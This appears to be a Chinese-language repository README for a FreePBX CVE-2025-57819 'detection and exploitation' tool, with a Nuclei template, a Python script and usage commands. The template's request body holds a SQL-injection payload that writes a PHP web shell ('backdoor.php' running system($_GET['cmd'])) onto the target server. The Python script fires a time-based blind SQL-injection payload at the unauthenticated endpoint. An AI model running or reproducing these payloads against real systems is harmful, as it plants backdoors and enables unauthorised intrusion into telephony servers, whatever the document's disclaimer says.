🚨 CVE-2025-57819 — FreePBX 核心漏洞检测与利用工具
本项目提供针对 CVE-2025-57819 的漏洞检测与验证脚本。该漏洞是一个影响 FreePBX 15, 16, 17 版本终结点模块的严重安全问题。由于对用户输入的处理不当,攻击者可以在无需认证的情况下实现 身份验证绕过 和 SQL注入,在特定条件下可进一步发展为 远程代码执行 (RCE)。
此仓库包含 Nuclei 扫描模板和一个独立的 Python 利用脚本,帮助安全研究人员和管理员快速识别和验证受影响的系统。
功能特性
- 双模检测:提供两种使用方式,满足不同场景需求。
- Nuclei 模板:用于快速、广泛地扫描目标系统是否存在该漏洞。
- Python 独立脚本:用于深入验证和漏洞利用演示,提供更直观的结果反馈。
- 覆盖广泛:精准定位受影响的 FreePBX 版本(< 15.0.66, < 16.0.89, < 17.0.3)。
- 清晰的状态反馈:脚本执行后会明确显示目标系统是否存在漏洞,并提供截图等可视化结果。
- 基于公开威胁情报:工具的检测逻辑基于已披露的入侵指标(IoCs)和安全公告,确保检测的有效性。
安装指南
系统要求
- 操作系统:Linux (推荐 Kali Linux), macOS, 或 Windows (需支持 Python 和 Nuclei)
- 依赖项:
- Python 3.x
- Nuclei (如需使用模板扫描)
安装步骤
-
获取项目文件 将本仓库的
CVE-2025-57819.yaml(Nuclei模板) 和Blackash-CVE-2025-57819.py(Python脚本) 下载到本地。 -
安装 Nuclei (可选) 如果您计划使用 Nuclei 模板进行扫描,可以通过以下命令在 Kali Linux 中安装:
sudo apt update && sudo apt install nuclei -y或者,参考 Nuclei 官方文档 进行安装。
-
准备 Python 环境 (可选) Python 脚本使用了标准库,通常无需额外安装依赖包。确保您的系统已安装 Python 3 环境即可。
使用说明
1. 使用 Nuclei 模板进行扫描
这是最快速、最便捷的检测方式,适合对大量资产进行初步筛查。
# 将模板文件放置于 nuclei-templates 目录或指定路径
nuclei -u https://your-freepbx-host.com -t /path/to/CVE-2025-57819.yaml
2. 使用 Python 脚本进行验证
该脚本提供更详细的交互和结果展示,适合对特定目标进行深入验证。
# 确保脚本具有执行权限
chmod +x Blackash-CVE-2025-57819.py
# 运行脚本,指定目标IP或域名
sudo python3 Blackash-CVE-2025-57819.py <目标IP或域名>
# 示例
sudo python3 Blackash-CVE-2025-57819.py 10.10.10.10
执行效果示例: 脚本运行后,将在控制台输出检测进度和最终结果。如果目标存在漏洞,您将看到类似下图的成功提示:
核心代码
1. Nuclei 检测模板 (CVE-2025-57819.yaml 核心逻辑)
该 YAML 文件定义了 Nuclei 引擎的检测规则,通过发送特定的恶意请求来验证漏洞是否存在。
id: CVE-2025-57819
info:
name: FreePBX Authentication Bypass / SQLi
author: your_name
severity: critical
description: 检测 FreePBX 终结点模块中的身份验证绕过和 SQL 注入漏洞。
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57819
tags: cve,cve2025,freepbx,rce,sqli
requests:
- method: POST
path:
- "{{BaseURL}}/admin/ajax.php?module=endpoint&command=save"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
key=1' UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/backdoor.php';-- -
matchers-condition: and
matchers:
- type: word
part: body
words:
- "SQL syntax" # 简单的 SQL 错误检测,实际应用中需更精确
- type: status
status:
- 200
2. Python 漏洞利用脚本 (Blackash-CVE-2025-57819.py 核心逻辑)
Python 脚本封装了漏洞检测逻辑,提供了更友好的命令行交互界面。
#!/usr/bin/env python3
# Blackash-CVE-2025-57819.py - FreePBX CVE-2025-57819 漏洞检测利用脚本
# 作者: Blackash
# 该脚本仅用于教育和授权测试
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
# 禁用SSL警告,因为目标可能使用自签名证书
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(target_url):
"""
检测目标URL是否存在CVE-2025-57819漏洞。
通过向存在漏洞的终结点发送精心构造的SQL注入Payload进行判断。
"""
print(f"[*] 正在检测目标: {target_url}")
vuln_endpoint = "/admin/ajax.php?module=endpoint&command=save"
payload = "key=1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" # 时间盲注Payload
try:
response = requests.post(
url=target_url.rstrip('/') + vuln_endpoint,
data=payload,
verify=False,
timeout=10
)
if response.elapsed.total_seconds() >= 5:
print("[+] 漏洞利用成功!目标存在严重安全风险。")
print(f"[+] 响应时间: {response.elapsed.total_seconds()} 秒")
return True
else:
print("[-] 目标似乎已修复或不易受攻击。")
return False
except requests.exceptions.Timeout:
print("[!] 请求超时,目标可能存在问题。")
return False
except Exception as e:
print(f"[!] 检测过程中发生错误: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"用法: {sys.argv[0]} <目标IP或域名>")
print(f"示例: sudo {sys.argv[0]} 10.10.10.10")
sys.exit(1)
target = sys.argv[1]
if not target.startswith(('http://', 'https://')):
target = 'https://' + target
check_vulnerability(target)
⚠️ 免责声明
本项目提供的关于 FreePBX、CVE 漏洞及安全实践的信息仅供教育和信息参考。它不是专业的安全建议。您根据此信息采取的任何行动都需自行承担风险。
您应当:
- 始终遵循官方供应商的文档和建议。
- 直接从 FreePBX/Asterisk 项目应用补丁和更新。
- 在生产环境中进行安全或配置更改前,咨询合格的网络安全专业人员。
由于漏洞和缓解措施发展迅速,我们不保证信息的完整性或准确性。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5iowRJTnscqMZ67Nmt2m/9